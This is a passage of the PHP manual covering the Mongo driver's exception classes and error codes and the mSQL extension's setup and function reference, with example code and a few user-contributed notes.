    The driver was trying to fetch more results from the database, but the database did not have a record of the query. This usually means that the cursor timed out on the server side: after a few minutes of inactivity, the database will kill a cursor (see MongoCursor::immortal() for information on preventing this).

    An example:

    <?php

    try {
            $cursor = $collection->find();
            $cursor->getNext();

            // sleep for 15 minutes
            sleep(60*15);

        while (    $cursor->hasNext()) {
                $cursor->getNext();
        }
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    ?>

  • cursor->buf.pos is null

    Code: 3

    This may indicate you are out of RAM or some other extraordinary circumstance.

  • couldn't get response header

    Code: 4

    A common error if the database or network goes down. This means that the driver couldn't get a response from the connection.

  • no db response

    Code: 5

    This may not even be an error, for example, the database command "shutdown" returns no response. However, if you were expecting a response, this means the database didn't give one.

  • bad response length: %d, did the db assert?

    Code: 6

    This means that the database said that its response was less than 0. This error probably indicates a network error or database corruption.

  • incomplete header

    Code: 7

    Highly unusual. Occurs if the database response started out correctly, but broke off in the middle. Probably indicates a network problem.

  • incomplete response

    Code: 8

    Highly unusual. Occurs if the database response started out correctly, but broke off in the middle. Probably indicates a network problem.

  • couldn't find a response

    Code: 9

    If the response was cached and now cannot be located.

  • error getting socket

    Code: 10

    The socket was closed or encountered an error. The driver should automatically reconnect (if possible) on the next operation.

  • couldn't find reply, please try again

    Code: 11

    The driver saves any database responses it cannot immediately match with a request. This exception occurs if the driver has already passed your request's response and cannot find your response in its cache.

  • error getting database response: errstr

    WSA error getting database response: errstr

    "errstr" is an io error reported directly from the C socket subsystem. On Windows, the error message is prefixed with "WSA".

  • Timeout error

    Code: 13

    If there was an error while waiting for a query to complete.

  • couldn't send query: <various>

    Code: 14

    C socket error on send.

  • max number of retries exhausted, couldn't send query

    Code: 19

    The driver will automatically retry "plain" queries (not commands) a couple of times if the first attempt failed for certain reasons. This is to cause fewer exceptions during replica set failover (although you will probably still have to deal with some) and gloss over transient network issues.

    This can also be caused by the driver not being able to reconnect at all to the database (if, for example, the database is unreachable).

    Version 1.2.2+.

Errors passed through by the database

Database errors should always trigger MongoCursorExceptions on queries. Error messages and codes are sent directly from the database and you should be able to see matching errors in the database log.

A few common database errors are listed below:

  • E11000 duplicate key error index: foo.bar.$X dup key: { /* ... */ }

    Code: 11000

    Database error for duplicate keys.

  • not master

    Codes: 10107, 13435, and 10058

    Not master errors, piped through by the database. Each of these will cause the driver to disconnect and attempt to find a new master. The actual error you get on failover may not be a "not master" error, depending on when the change in master occurs.

Class synopsis

extends MongoException {
}

User Contributed Notes

Loc d&#39;Anterroches 18-Apr-2011 05:45
As all the exceptions are extending the base Exception class, you can get the code with the getCode() method:

<?php
try {
    $collection->insert($duplicate_document, array('safe' => true));
} catch (MongoCursorException $e) {
    printf("Error code is %d.\n", $e->getCode();
    exit(1);
}
Jay Paroline 20-Aug-2010 11:05
Not sure if it's intentional but all the properties on CursorException (including code) are protected or private, so you will have to handle all CursorExceptions the same.
MongoException
MongoCursorTimeoutException
Exceptions


The MongoCursorTimeoutException class

(No version information available, might only be in SVN)

Introduction

Caused by a query timing out. You can set the length of time to wait before this exception is thrown by calling MongoCursor::timeout() on the cursor or setting MongoCursor::$timeout. The static variable is useful for queries such as database commands and MongoCollection::findOne(), both of which implicitly use cursors.

Class synopsis

extends MongoCursorException {
}

User Contributed Notes

There are no user contributed notes for this page.
MongoCursorException
MongoConnectionException
Exceptions


The MongoConnectionException class

(No version information available, might only be in SVN)

Introduction

Thrown when the driver fails to connect to the database.

There are a number of possible error messages to help you diagnose the connection problem. These are:

  • No server name given.

    This error occurs if you pass in "" as the server name, probably because of an typo with string interpolation, e.g., "$servr" instead of "$server".

  • failed to get host [hostname] or port [portnum] from [server].

    This indicated that the server string was malformed. "[hostname]" and "[portnum]" will be as much as the driver could dicipher of it.

  • Operation in progress

    Connecting to the database timed out.

  • Transport endpoint is not connected

    Generally means that the connection string isn't correct, the driver couldn't even find the database server.

  • couldn't determine master

    Neither server in a paired connection appeared to be master.

  • couldn't get host info for [server]

    This indicated that DNS could not resolve the server address you gave. This could easily be caused by a typo, for example, "server" instead of "$server".

  • Invalid Argument

    This can be caused by attempting to connect to a machine that is up but that the database isn't actually running on. Make sure that you've started the database server before connecting.

  • Permission denied

    This means that the socket could not be opened due to permissions issues. On Red Hat variants, this can be caused by a default setting that does not allow Apache to create network connections. You can override this setting by running:

    $ /usr/sbin/setsebool -P httpd_can_network_connect 1
    then restarting Apache.

If the error message is not listed above, it is probably an error from the C socket, and you can search the web for its usual cause.

Class synopsis

extends MongoException {
}

User Contributed Notes

There are no user contributed notes for this page.
MongoCursorTimeoutException
MongoGridFSException
Exceptions


The MongoGridFSException class

(No version information available, might only be in SVN)

Introduction

Thrown when there are errors reading or writing files to or from the database.

Class synopsis

extends MongoException {
}

User Contributed Notes

There are no user contributed notes for this page.
MongoConnectionException
mSQL
Exceptions


mSQL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • mSQL Functions
    • msql_affected_rows — Returns number of affected rows
    • msql_close — Close mSQL connection
    • msql_connect — Open mSQL connection
    • msql_create_db — Create mSQL database
    • msql_createdb — Alias of msql_create_db
    • msql_data_seek — Move internal row pointer
    • msql_db_query — Send mSQL query
    • msql_dbname — Alias of msql_result
    • msql_drop_db — Drop (delete) mSQL database
    • msql_error — Returns error message of last msql call
    • msql_fetch_array — Fetch row as array
    • msql_fetch_field — Get field information
    • msql_fetch_object — Fetch row as object
    • msql_fetch_row — Get row as enumerated array
    • msql_field_flags — Get field flags
    • msql_field_len — Get field length
    • msql_field_name — Get the name of the specified field in a result
    • msql_field_seek — Set field offset
    • msql_field_table — Get table name for field
    • msql_field_type — Get field type
    • msql_fieldflags — Alias of msql_field_flags
    • msql_fieldlen — Alias of msql_field_len
    • msql_fieldname — Alias of msql_field_name
    • msql_fieldtable — Alias of msql_field_table
    • msql_fieldtype — Alias of msql_field_type
    • msql_free_result — Free result memory
    • msql_list_dbs — List mSQL databases on server
    • msql_list_fields — List result fields
    • msql_list_tables — List tables in an mSQL database
    • msql_num_fields — Get number of fields in result
    • msql_num_rows — Get number of rows in result
    • msql_numfields — Alias of msql_num_fields
    • msql_numrows — Alias of msql_num_rows
    • msql_pconnect — Open persistent mSQL connection
    • msql_query — Send mSQL query
    • msql_regcase — Alias of sql_regcase
    • msql_result — Get result data
    • msql_select_db — Select mSQL database
    • msql_tablename — Alias of msql_result
    • msql — Alias of msql_db_query

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSException
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access mSQL database servers. More information about mSQL can be found at » http://www.hughes.com.au/.

User Contributed Notes

There are no user contributed notes for this page.
mSQL
Installing/Configuring
mSQL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
mSQL


Installation

In order to have these functions available, you must compile PHP with msql support by using the --with-msql[=DIR] option. DIR is the mSQL base install directory, defaults to /usr/local/msql3.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: msql.dll

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mSQL configuration options
Name | Default | Changeable | Changelog
msql.allow_persistent | "1" | PHP_INI_ALL |
msql.max_persistent | "-1" | PHP_INI_ALL |
msql.max_links | "-1" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

msql.allow_persistent boolean

Whether to allow persistent mSQL connections.

msql.max_persistent integer

The maximum number of persistent mSQL connections per process.

msql.max_links integer

The maximum number of mSQL connections per process, including persistent connections.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

There are two resource types used in the mSQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MSQL_ASSOC (integer)
MSQL_NUM (integer)
MSQL_BOTH (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
mSQL


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
mSQL


Basic usage

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a mSQL database.

Example #1 mSQL usage example

<?php
/* Connecting, selecting database */
$link = msql_connect('localhost', 'username', 'password')
    or die('Could not connect : ' . msql_error($link));

msql_select_db('database', $link)
    or die('Could not select database');

/* Issue SQL query */
$query = 'SELECT * FROM my_table';
$result = msql_query($query, $link) or die('Query failed : ' . msql_error());

/* Printing results in HTML */
echo "<table>\n";
while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($row as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

/* Free result set */
msql_free_result($result);

/* Close connection */
msql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
mSQL Functions
Examples


mSQL Functions

Table of Contents

  • msql_affected_rows — Returns number of affected rows
  • msql_close — Close mSQL connection
  • msql_connect — Open mSQL connection
  • msql_create_db — Create mSQL database
  • msql_createdb — Alias of msql_create_db
  • msql_data_seek — Move internal row pointer
  • msql_db_query — Send mSQL query
  • msql_dbname — Alias of msql_result
  • msql_drop_db — Drop (delete) mSQL database
  • msql_error — Returns error message of last msql call
  • msql_fetch_array — Fetch row as array
  • msql_fetch_field — Get field information
  • msql_fetch_object — Fetch row as object
  • msql_fetch_row — Get row as enumerated array
  • msql_field_flags — Get field flags
  • msql_field_len — Get field length
  • msql_field_name — Get the name of the specified field in a result
  • msql_field_seek — Set field offset
  • msql_field_table — Get table name for field
  • msql_field_type — Get field type
  • msql_fieldflags — Alias of msql_field_flags
  • msql_fieldlen — Alias of msql_field_len
  • msql_fieldname — Alias of msql_field_name
  • msql_fieldtable — Alias of msql_field_table
  • msql_fieldtype — Alias of msql_field_type
  • msql_free_result — Free result memory
  • msql_list_dbs — List mSQL databases on server
  • msql_list_fields — List result fields
  • msql_list_tables — List tables in an mSQL database
  • msql_num_fields — Get number of fields in result
  • msql_num_rows — Get number of rows in result
  • msql_numfields — Alias of msql_num_fields
  • msql_numrows — Alias of msql_num_rows
  • msql_pconnect — Open persistent mSQL connection
  • msql_query — Send mSQL query
  • msql_regcase — Alias of sql_regcase
  • msql_result — Get result data
  • msql_select_db — Select mSQL database
  • msql_tablename — Alias of msql_result
  • msql — Alias of msql_db_query

User Contributed Notes

acroyear at io dot com 15-May-2000 02:11
To those porting code from w3-msql/lite to php, a few functions are different or missing (aside from the fact that the order of arguments is reversed and the other signatures are different...not good design work, imho, or was it built for msql 1.x?  At any rate, conformity with the C and Lite API should have been maintained.).

The lite/C function msqlStoreResult() is automatically done in msql_query() and msql().
msql_fetch_field() doesn't give you the field length value (unlike msqlFetchField()).  You have to call msql_fieldlen() to get that.

msqlEncode() is missing.  The functionality (which is needed for pretty much ALL SQL based rdbms's) is in addSlashes() in the String library.
Basic usage
msql_affected_rows
mSQL


Returns number of affected rows

mSQL Functions
msql_close
mSQL Functions
PHP Manual

msql_affected_rows

(PHP 4, PHP 5)

msql_affected_rows — Returns number of affected rows

Description

int msql_affected_rows ( resource $result )

Returns number of affected rows by the last SELECT, UPDATE or DELETE query associated with result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of affected rows on success, or FALSE on error.

See Also

  • msql_query() - Send mSQL query

User Contributed Notes

afiedler 19-Dec-2008 06:45
Is seems that at least for SQL deletes, you should pass a MySQL link resource (from a mysql_connect call), not a MySQL result (from a mysql_query) otherwise you will get an error.
mSQL Functions
msql_close
mSQL Functions


Close mSQL connection

msql_affected_rows
msql_connect
mSQL Functions
PHP Manual

msql_close

(PHP 4, PHP 5)

msql_close — Close mSQL connection

Description

bool msql_close ([ resource $link_identifier ] )

msql_close() closes the non-persistent connection to the mSQL server that's associated with the specified link identifier.

Using msql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution. See also freeing resources.

Parameters

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_connect() - Open mSQL connection
  • msql_pconnect() - Open persistent mSQL connection

User Contributed Notes

There are no user contributed notes for this page.
msql_affected_rows
msql_connect
mSQL Functions


Open mSQL connection

msql_close
msql_create_db
mSQL Functions
PHP Manual

msql_connect

(PHP 4, PHP 5)

msql_connect — Open mSQL connection

Description

resource msql_connect ([ string $hostname ] )

msql_connect() establishes a connection to a mSQL server.

If a second call is made to msql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling msql_close().

Parameters

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being then more efficient then a localhost TCP socket connection.

Note:

While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

Return Values

Returns a positive mSQL link identifier on success, or FALSE on error.

See Also

  • msql_pconnect() - Open persistent mSQL connection
  • msql_close() - Close mSQL connection

User Contributed Notes

mcneildeal at gmail dot com 25-Mar-2010 07:57
You can set a timeout for this function using ini_set():

<?php ini_set('mysql.connect_timeout', 10); ?>
msql_close
msql_create_db
mSQL Functions


Create mSQL database

msql_connect
msql_createdb
mSQL Functions
PHP Manual

msql_create_db

(PHP 4, PHP 5)

msql_create_db — Create mSQL database

Description

bool msql_create_db ( string $database_name [, resource $link_identifier ] )

msql_create_db() attempts to create a new database on the mSQL server.

Parameters

database_name

The name of the mSQL database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_drop_db() - Drop (delete) mSQL database

User Contributed Notes

There are no user contributed notes for this page.
msql_connect
msql_createdb
mSQL Functions


Alias of msql_create_db

msql_create_db
msql_data_seek
mSQL Functions
PHP Manual

msql_createdb

(PHP 4, PHP 5)

msql_createdb — Alias of msql_create_db()

Description

This function is an alias of: msql_create_db().

User Contributed Notes

There are no user contributed notes for this page.
msql_create_db
msql_data_seek
mSQL Functions


Move internal row pointer

msql_createdb
msql_db_query
mSQL Functions
PHP Manual

msql_data_seek

(PHP 4, PHP 5)

msql_data_seek — Move internal row pointer

Description

bool msql_data_seek ( resource $result , int $row_number )

msql_data_seek() moves the internal row pointer of the mSQL result associated with the specified query identifier to point to the specified row number. The next call to msql_fetch_row() would return that row.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

row_number

The seeked row number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_object() - Fetch row as object
  • msql_fetch_row() - Get row as enumerated array
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.
msql_createdb
msql_db_query
mSQL Functions


Send mSQL query

msql_data_seek
msql_dbname
mSQL Functions
PHP Manual

msql_db_query

(PHP 4, PHP 5)

msql_db_query — Send mSQL query

Description

resource msql_db_query ( string $database , string $query [, resource $link_identifier ] )

msql_db_query() selects a database and executes a query on it.

Parameters

database

The name of the mSQL database.

query

The SQL query.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a positive mSQL query identifier to the query result, or FALSE on error.

See Also

  • msql_query() - Send mSQL query

User Contributed Notes

There are no user contributed notes for this page.
msql_data_seek
msql_dbname
mSQL Functions


Alias of msql_result

msql_db_query
msql_drop_db
mSQL Functions
PHP Manual

msql_dbname

(PHP 4, PHP 5)

msql_dbname — Alias of msql_result()

Description

This function is an alias of: msql_result().

User Contributed Notes

There are no user contributed notes for this page.
msql_db_query
msql_drop_db
mSQL Functions


Drop (delete) mSQL database

msql_dbname
msql_error
mSQL Functions
PHP Manual

msql_drop_db

(PHP 4, PHP 5)

msql_drop_db — Drop (delete) mSQL database

Description

bool msql_drop_db ( string $database_name [, resource $link_identifier ] )

msql_drop_db() attempts to drop (remove) a database from the mSQL server.

Parameters

database_name

The name of the database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_create_db() - Create mSQL database

User Contributed Notes

There are no user contributed notes for this page.
msql_dbname
msql_error
mSQL Functions


Returns error message of last msql call

msql_drop_db
msql_fetch_array
mSQL Functions
PHP Manual

msql_error

(PHP 4, PHP 5)

msql_error — Returns error message of last msql call

Description

string msql_error ( void )

msql_error() returns the last issued error by the mSQL server. Note that only the last error message is accessible with msql_error().

Return Values

The last error message or an empty string if no error was issued.

User Contributed Notes

There are no user contributed notes for this page.
msql_drop_db
msql_fetch_array
mSQL Functions


Fetch row as array

msql_error
msql_fetch_field
mSQL Functions
PHP Manual

msql_fetch_array

(PHP 4, PHP 5)

msql_fetch_array — Fetch row as array

Description

array msql_fetch_array ( resource $result [, int $result_type ] )

msql_fetch_array() is an extended version of msql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using msql_fetch_array() is NOT significantly slower than using msql_fetch_row(), while it provides a significant added value.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

result_type

A constant that can take the following values: MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH with MSQL_BOTH being the default.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_array() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo $row['id'] . ': ' . $row['name'] . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_row() - Get row as enumerated array
  • msql_fetch_object() - Fetch row as object
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.
msql_error
msql_fetch_field
mSQL Functions


Get field information

msql_fetch_array
msql_fetch_object
mSQL Functions
PHP Manual

msql_fetch_field

(PHP 4, PHP 5)

msql_fetch_field — Get field information

Description

object msql_fetch_field ( resource $result [, int $field_offset = 0 ] )

msql_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The field offset. If not specified, the next field that wasn't yet retrieved by msql_fetch_field() is retrieved.

Return Values

Returns an object containing field information. The properties of the object are:

  • name - column name

  • table - name of the table the column belongs to

  • not_null - 1 if the column cannot be NULL

  • unique - 1 if the column is a unique key

  • type - the type of the column

See Also

  • msql_field_seek() - Set field offset

User Contributed Notes

There are no user contributed notes for this page.
msql_fetch_array
msql_fetch_object
mSQL Functions


Fetch row as object

msql_fetch_field
msql_fetch_row
mSQL Functions
PHP Manual

msql_fetch_object

(PHP 4, PHP 5)

msql_fetch_object — Fetch row as object

Description

object msql_fetch_object ( resource $result )

msql_fetch_object() is similar to msql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to msql_fetch_array(), and almost as quick as msql_fetch_row() (the difference is insignificant).

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_object() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_object($result, MSQL_ASSOC)) {
    echo $row->id . ': ' . $row->name . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_row() - Get row as enumerated array
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.
msql_fetch_field
msql_fetch_row
mSQL Functions


Get row as enumerated array

msql_fetch_object
msql_field_flags
mSQL Functions
PHP Manual

msql_fetch_row

(PHP 4, PHP 5)

msql_fetch_row — Get row as enumerated array

Description

array msql_fetch_row ( resource $result )

msql_fetch_row() fetches one row of data from the result associated with the specified query identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to msql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_row() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_row($result)) {
    echo $row[0] . ': ' . $row[1] . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_object() - Fetch row as object
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

markmcilroy at ozemail dot com dot au 09-Oct-2007 04:28
As an experienced programmer I recommend that new programmers do NOT use this function.

Use mqsql_fetch_array instead.

Using this function leads to code like:

<?php

    $surname = $row[7];

?>

This is a dangerous coding practice and should be avoided.

Changing the original query can break existing code, often in subtle ways that leave 'sleeper' bugs in your system that take months to appear.

Using mysql_fetch_array allows you to write code like:

<?php

    $surname = $data['surname'];

?>

This code will continue to run properly even columns are added to the originial query.

Also it is much easier to read and makes reading and modiying your code easier, reducing bugs.

Mark McIlroy
Kenneth Redpath 07-Jul-2005 04:15
Modification to the above code to make it work. Spelling Errors.

<?php
$con = mysql_connect();
if (!$con) {
   die('Server connection problem: ' . mysql_error());
}

if (!mysql_select_db('test', $con)) {
   die('Database connection problem: ' . mysql_error());
}

$result = mysql_query('SELECT id, name FROM people', $con);
if (!$result) {
   die('Query execution problem: ' . mysql_error());
}

while ($row = mysql_fetch_row($result)) {
   echo $row[0] . ': ' . $row[1] . "\n";
}

mysql_free_result($result);
?>
msql_fetch_object
msql_field_flags
mSQL Functions


Get field flags

msql_fetch_row
msql_field_len
mSQL Functions
PHP Manual

msql_field_flags

(PHP 4, PHP 5)

msql_field_flags — Get field flags

Description

string msql_field_flags ( resource $result , int $field_offset )

msql_field_flags() returns the field flags of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns a string containing the field flags of the specified key. This can be: primary key not null, not null, primary key, unique not null or unique.

User Contributed Notes

There are no user contributed notes for this page.
msql_fetch_row
msql_field_len
mSQL Functions


Get field length

msql_field_flags
msql_field_name
mSQL Functions
PHP Manual

msql_field_len

(PHP 4, PHP 5)

msql_field_len — Get field length

Description

int msql_field_len ( resource $result , int $field_offset )

msql_field_len() returns the length of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns the length of the specified field or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
msql_field_flags
msql_field_name
mSQL Functions


Get the name of the specified field in a result

msql_field_len
msql_field_seek
mSQL Functions
PHP Manual

msql_field_name

(PHP 4, PHP 5)

msql_field_name — Get the name of the specified field in a result

Description

string msql_field_name ( resource $result , int $field_offset )

msql_field_name() gets the name of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The name of the field or FALSE on failure.

See Also

  • msql_field_len() - Get field length

User Contributed Notes

There are no user contributed notes for this page.
msql_field_len
msql_field_seek
mSQL Functions


Set field offset

msql_field_name
msql_field_table
mSQL Functions
PHP Manual

msql_field_seek

(PHP 4, PHP 5)

msql_field_seek — Set field offset

Description

bool msql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to msql_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_fetch_field() - Get field information

User Contributed Notes

There are no user contributed notes for this page.
msql_field_name
msql_field_table
mSQL Functions


Get table name for field

msql_field_seek
msql_field_type
mSQL Functions
PHP Manual

msql_field_table

(PHP 4, PHP 5)

msql_field_table — Get table name for field

Description

int msql_field_table ( resource $result , int $field_offset )

Returns the name of the table that the specified field is in.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The name of the table on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
msql_field_seek
msql_field_type
mSQL Functions


Get field type

msql_field_table
msql_fieldflags
mSQL Functions
PHP Manual

msql_field_type

(PHP 4, PHP 5)

msql_field_type — Get field type

Description

string msql_field_type ( resource $result , int $field_offset )

msql_field_type() gets the type of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The type of the field. One of int, char, real, ident, null or unknown. This functions will return FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
msql_field_table
msql_fieldflags
mSQL Functions


Alias of msql_field_flags

msql_field_type
msql_fieldlen
mSQL Functions
PHP Manual

msql_fieldflags

(PHP 4, PHP 5)

msql_fieldflags — Alias of msql_field_flags()

Description

This function is an alias of msql_field_flags().

User Contributed Notes

There are no user contributed notes for this page.
msql_field_type
msql_fieldlen
mSQL Functions


Alias of msql_field_len

msql_fieldflags
msql_fieldname
mSQL Functions
PHP Manual

msql_fieldlen

(PHP 4, PHP 5)

msql_fieldlen — Alias of msql_field_len()

Description

This function is an alias of msql_field_len().

User Contributed Notes

There are no user contributed notes for this page.
msql_fieldflags
msql_fieldname
mSQL Functions


Alias of msql_field_name

msql_fieldlen
msql_fieldtable
mSQL Functions
PHP Manual

msql_fieldname

(PHP 4, PHP 5)

msql_fieldname — Alias of msql_field_name()

Description

This function is an alias of msql_field_name().

User Contributed Notes

There are no user contributed notes for this page.
msql_fieldlen
msql_fieldtable
mSQL Functions


Alias of msql_field_table

msql_fieldname
msql_fieldtype
mSQL Functions
PHP Manual

msql_fieldtable

(PHP 4, PHP 5)

msql_fieldtable — Alias of msql_field_table()

Description

This function is an alias of msql_field_table().

User Contributed Notes

There are no user contributed notes for this page.
msql_fieldname
msql_fieldtype
mSQL Functions


Alias of msql_field_type

msql_fieldtable
msql_free_result
mSQL Functions
PHP Manual

msql_fieldtype

(PHP 4, PHP 5)

msql_fieldtype — Alias of msql_field_type()

Description

This function is an alias of msql_field_type().

User Contributed Notes

There are no user contributed notes for this page.
msql_fieldtable
msql_free_result
mSQL Functions


Free result memory

msql_fieldtype
msql_list_dbs
mSQL Functions
PHP Manual

msql_free_result

(PHP 4, PHP 5)

msql_free_result — Free result memory

Description

bool msql_free_result ( resource $result )

msql_free_result() frees the memory associated with query_identifier. When PHP completes a request, this memory is freed automatically, so you only need to call this function when you want to make sure you don't use too much memory while the script is running.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
msql_fieldtype
msql_list_dbs
mSQL Functions


List mSQL databases on server

msql_free_result
msql_list_fields
mSQL Functions
PHP Manual

msql_list_dbs

(PHP 4, PHP 5)

msql_list_dbs — List mSQL databases on server

Description

resource msql_list_dbs ([ resource $link_identifier ] )

msql_list_tables() lists the databases available on the specified link_identifier.

Parameters

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_tables() - List tables in an mSQL database
  • msql_list_fields() - List result fields

User Contributed Notes

There are no user contributed notes for this page.
msql_free_result
msql_list_fields
mSQL Functions


List result fields

msql_list_dbs
msql_list_tables
mSQL Functions
PHP Manual

msql_list_fields

(PHP 4, PHP 5)

msql_list_fields — List result fields

Description

resource msql_list_fields ( string $database , string $tablename [, resource $link_identifier ] )

msql_list_fields() returns information about the given table.

Parameters

database

The name of the database.

tablename

The name of the table.

link_identifier

